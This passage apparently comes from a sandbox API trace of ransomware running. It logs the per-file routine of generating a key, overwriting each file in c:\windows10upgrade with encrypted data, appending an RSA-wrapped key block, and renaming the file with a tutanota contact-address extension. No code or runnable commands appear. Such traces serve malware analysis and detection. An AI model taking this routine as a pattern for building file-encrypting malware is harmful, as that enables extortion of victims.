dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0129.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0129.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0129.628] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0129.628] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0129.628] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0129.628] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0129.628] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\windlp.dll", dwFileAttributes=0x80) returned 1 [0129.629] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7ac8 [0129.629] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0129.629] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ac8 | out: hHeap=0x570000) returned 1 [0129.629] CreateFileW (lpFileName="\\Windows10Upgrade\\windlp.dll" (normalized: "c:\\windows10upgrade\\windlp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0129.629] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=915656) returned 1 [0129.629] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdf8c8) returned 0x314a020 [0129.630] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdf8c8) returned 0x3235020 [0129.630] ReadFile (in: hFile=0x470, lpBuffer=0x314a020, nNumberOfBytesToRead=0xdf8c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314a020*, lpNumberOfBytesRead=0x2e3f9b4*=0xdf8c8, lpOverlapped=0x0) returned 1 [0129.699] SetFilePointer (in: hFile=0x470, lDistanceToMove=-915656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.699] WriteFile (in: hFile=0x470, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xdf8c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdf8c8, lpOverlapped=0x0) returned 1 [0129.701] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x314a020 | out: hHeap=0x570000) returned 1 [0129.702] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3235020 | out: hHeap=0x570000) returned 1 [0129.702] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdf8c8 [0129.702] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.702] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.702] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0129.702] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0129.702] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0129.703] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0129.703] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="Rnj9qRT2cilEIZ56AkkXf7nZicSVbetYKYga0iNJzrcpFKSXVxSPEdboFIehkeqN\nhi8K2hjg4BJbv6eB2p82JuewNmpxFD7Uxjk2QRWCx1FFXZSA6orgt3mccoobO2Qb\nGiQQDBaDoHUSxpZWa7PTRZxSgvActLfD2/WXZRYE0YHFFrux/ZS8ATblMy9c8yb3\nLrzoy9RRBrYFI+t2y5pMHcitnrK2eKTKvXVVBQWkunuT0Gg1ZQu8DWytCLVgnaCI\n2+jOV/u/CsD5D5ce4sZb9Y7dzDqyiAfVX1I370wwrs1goVqDqojP7k9rnsWMdTUl\nj22A3r0L8z7x7gHaP5zefQ==\n", pcchString=0x2e3f9a8) returned 1 [0129.703] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0129.703] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.703] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.703] CloseHandle (hObject=0x470) returned 1 [0129.715] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0129.715] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\windlp.dll" (normalized: "c:\\windows10upgrade\\windlp.dll"), lpNewFileName="\\Windows10Upgrade\\windlp.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\windlp.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0129.717] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0129.717] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0129.717] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0129.717] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7be8 | out: hHeap=0x570000) returned 1 [0129.717] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d08 [0129.717] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0129.717] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0129.717] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\wimgapi.dll", dwFileAttributes=0x80) returned 1 [0129.717] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7c30 [0129.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0129.718] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7c30 | out: hHeap=0x570000) returned 1 [0129.718] CreateFileW (lpFileName="\\Windows10Upgrade\\wimgapi.dll" (normalized: "c:\\windows10upgrade\\wimgapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0129.718] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=557256) returned 1 [0129.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x880c8) returned 0x314e020 [0129.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x880c8) returned 0x31e6020 [0129.719] ReadFile (in: hFile=0x470, lpBuffer=0x314e020, nNumberOfBytesToRead=0x880c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314e020*, lpNumberOfBytesRead=0x2e3f9b4*=0x880c8, lpOverlapped=0x0) returned 1 [0129.758] SetFilePointer (in: hFile=0x470, lDistanceToMove=-557256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.758] WriteFile (in: hFile=0x470, lpBuffer=0x31e6020*, nNumberOfBytesToWrite=0x880c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x31e6020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x880c8, lpOverlapped=0x0) returned 1 [0129.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x314e020 | out: hHeap=0x570000) returned 1 [0129.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x31e6020 | out: hHeap=0x570000) returned 1 [0129.760] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x880c8 [0129.760] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.760] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.761] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0129.761] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0129.761] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0129.761] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0129.761] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="zTkolC/p3YAz46wte1CrO2Ez3HyCWyw6Rc5xIBy3PgoPdkgOlucoJclj62PGm1nY\nuZzqla/WHiPgT7z2ccar/A6wAyUcNi2K3QyjNARDxSrlWyYdRS1Yze/OS1rOItSS\nszgA6vtp26DU4hTu/Y1YPizdE0uVq2SCx2IcEJWp4d7sDb3WEcPudgT/WyZ15N47\nyX76KSDlbkD/6jBMrMfOZ1fnh8r33MkKyulmMZtTS4p/tYocr4VLvyfKNhc8pbqu\n52K8flg1Y33MmBjVXVmm4DfulExc7P/QKfz2Y+mN7u72JgS/8HlUxec1YobpXiSg\nkrbzu2QX/c3UVJNhnPPtlw==\n", pcchString=0x2e3f9a8) returned 1 [0129.761] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0129.761] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.761] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.761] CloseHandle (hObject=0x470) returned 1 [0129.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0129.769] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\wimgapi.dll" (normalized: "c:\\windows10upgrade\\wimgapi.dll"), lpNewFileName="\\Windows10Upgrade\\wimgapi.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\wimgapi.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0129.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0129.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0129.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d08 | out: hHeap=0x570000) returned 1 [0129.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ba0 | out: hHeap=0x570000) returned 1 [0129.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be9a0 [0129.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0129.771] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0129.771] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\upgrader_win10.log", dwFileAttributes=0x80) returned 1 [0129.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be318 [0129.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0129.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be318 | out: hHeap=0x570000) returned 1 [0129.771] CreateFileW (lpFileName="\\Windows10Upgrade\\upgrader_win10.log" (normalized: "c:\\windows10upgrade\\upgrader_win10.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0129.771] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=20548) returned 1 [0129.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5044) returned 0x5d7830 [0129.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5044) returned 0x5dc880 [0129.772] ReadFile (in: hFile=0x470, lpBuffer=0x5d7830, nNumberOfBytesToRead=0x5044, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d7830*, lpNumberOfBytesRead=0x2e3f9b4*=0x5044, lpOverlapped=0x0) returned 1 [0129.783] SetFilePointer (in: hFile=0x470, lDistanceToMove=-20548, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.783] WriteFile (in: hFile=0x470, lpBuffer=0x5dc880*, nNumberOfBytesToWrite=0x5044, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5dc880*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5044, lpOverlapped=0x0) returned 1 [0129.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d7830 | out: hHeap=0x570000) returned 1 [0129.783] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5dc880 | out: hHeap=0x570000) returned 1 [0129.784] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5044 [0129.784] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.784] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.785] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0129.785] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0129.786] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0129.786] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0129.786] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="igzYUuszNU1GzSganb7ldM6QL9FARJOc9T5uemdW0DSBMU//qmD/iaaEVT5dzoGD\n4R6ey8rDp/+OU1ZP9QcOAaW9VPX2xib8jOl3ZjBhD7VtIAriTF/Q/4EoUbWyHJua\nLa+VaQSU4zcW4c8Q6Dw/JLU9+c7WVcKRMSssyWEsMkEXH7+faWhrpNSFfIgyTmJO\nLBVuw4YTcp1Evkww8vBW3zGufYA/VZ/jy1X/EartishGWn1Q0u0Ko3c4mgNqAVGg\ngGC+NKN8M2qFzdObt0b59Z7udQ7c3Bn6UFe1ZZaMgOIy9VfMX5XKDF1ZtzVKuMmA\nPCq5QDHmAaSvNJQUpAFuOg==\n", pcchString=0x2e3f9a8) returned 1 [0129.786] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0129.786] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.786] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.786] CloseHandle (hObject=0x470) returned 1 [0129.787] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0129.787] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\upgrader_win10.log" (normalized: "c:\\windows10upgrade\\upgrader_win10.log"), lpNewFileName="\\Windows10Upgrade\\upgrader_win10.log.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\upgrader_win10.log.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0129.789] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0129.789] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0129.789] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9a0 | out: hHeap=0x570000) returned 1 [0129.789] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bea50 | out: hHeap=0x570000) returned 1 [0129.789] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0129.790] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0129.790] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0129.790] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\upgrader_default.log", dwFileAttributes=0x80) returned 1 [0129.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be528 [0129.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0129.791] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be528 | out: hHeap=0x570000) returned 1 [0129.791] CreateFileW (lpFileName="\\Windows10Upgrade\\upgrader_default.log" (normalized: "c:\\windows10upgrade\\upgrader_default.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0129.791] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=250186) returned 1 [0129.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3d14a) returned 0x5d7830 [0129.791] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3d14a) returned 0x2f40048 [0129.792] ReadFile (in: hFile=0x470, lpBuffer=0x5d7830, nNumberOfBytesToRead=0x3d14a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d7830*, lpNumberOfBytesRead=0x2e3f9b4*=0x3d14a, lpOverlapped=0x0) returned 1 [0129.854] SetFilePointer (in: hFile=0x470, lDistanceToMove=-250186, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.854] WriteFile (in: hFile=0x470, lpBuffer=0x2f40048*, nNumberOfBytesToWrite=0x3d14a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f40048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3d14a, lpOverlapped=0x0) returned 1 [0129.855] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d7830 | out: hHeap=0x570000) returned 1 [0129.855] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f40048 | out: hHeap=0x570000) returned 1 [0129.855] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3d14a [0129.855] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.855] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.855] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0129.855] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0129.859] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0129.859] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0129.859] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="4nTVbB4DHZePGDZCbP59YvcIdubVd4zlgRXrHzlGgtsY6sNc18JjtrqjRSVGT0d2\nw71+RIacIfYqv7K77eZS2qqI2M8USUmwvES6e7cuD3wwY/hUCvsbssa1Kw93WpM0\nuG4oIHuSVLiPQbr93UTMoEaeEwMK2f5jzZucSs9jBO3LdHD5es+ulAaos1GeJY/z\nOgZLhlQBAyhBcKt5GxEuTFi1QymTthHW5wM4bqstlxF5rmTQIU0aXbAITB8fHnRh\nX6fcu4swNlTQcGq4d1FQ6sJ29Ha0F76lNO1t6EqMfUdh8gdcFYRjuNTArtDT3QYr\ny+extSKN5Z7eQ7KEDp3ARQ==\n", pcchString=0x2e3f9a8) returned 1 [0129.859] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0129.859] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.859] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.859] CloseHandle (hObject=0x470) returned 1 [0129.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0129.864] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\upgrader_default.log" (normalized: "c:\\windows10upgrade\\upgrader_default.log"), lpNewFileName="\\Windows10Upgrade\\upgrader_default.log.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\upgrader_default.log.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0129.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0129.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0129.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0129.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0129.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be948 [0129.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0129.866] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0129.866] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\PostOOBEScript.cmd", dwFileAttributes=0x80) returned 1 [0129.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be210 [0129.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0129.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be210 | out: hHeap=0x570000) returned 1 [0129.867] CreateFileW (lpFileName="\\Windows10Upgrade\\PostOOBEScript.cmd" (normalized: "c:\\windows10upgrade\\postoobescript.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0129.867] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=577) returned 1 [0129.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x241) returned 0x5b5a90 [0129.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x241) returned 0x5b5ce0 [0129.868] ReadFile (in: hFile=0x470, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x241, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x241, lpOverlapped=0x0) returned 1 [0129.868] SetFilePointer (in: hFile=0x470, lDistanceToMove=-577, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.869] WriteFile (in: hFile=0x470, lpBuffer=0x5b5ce0*, nNumberOfBytesToWrite=0x241, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5ce0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x241, lpOverlapped=0x0) returned 1 [0129.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: 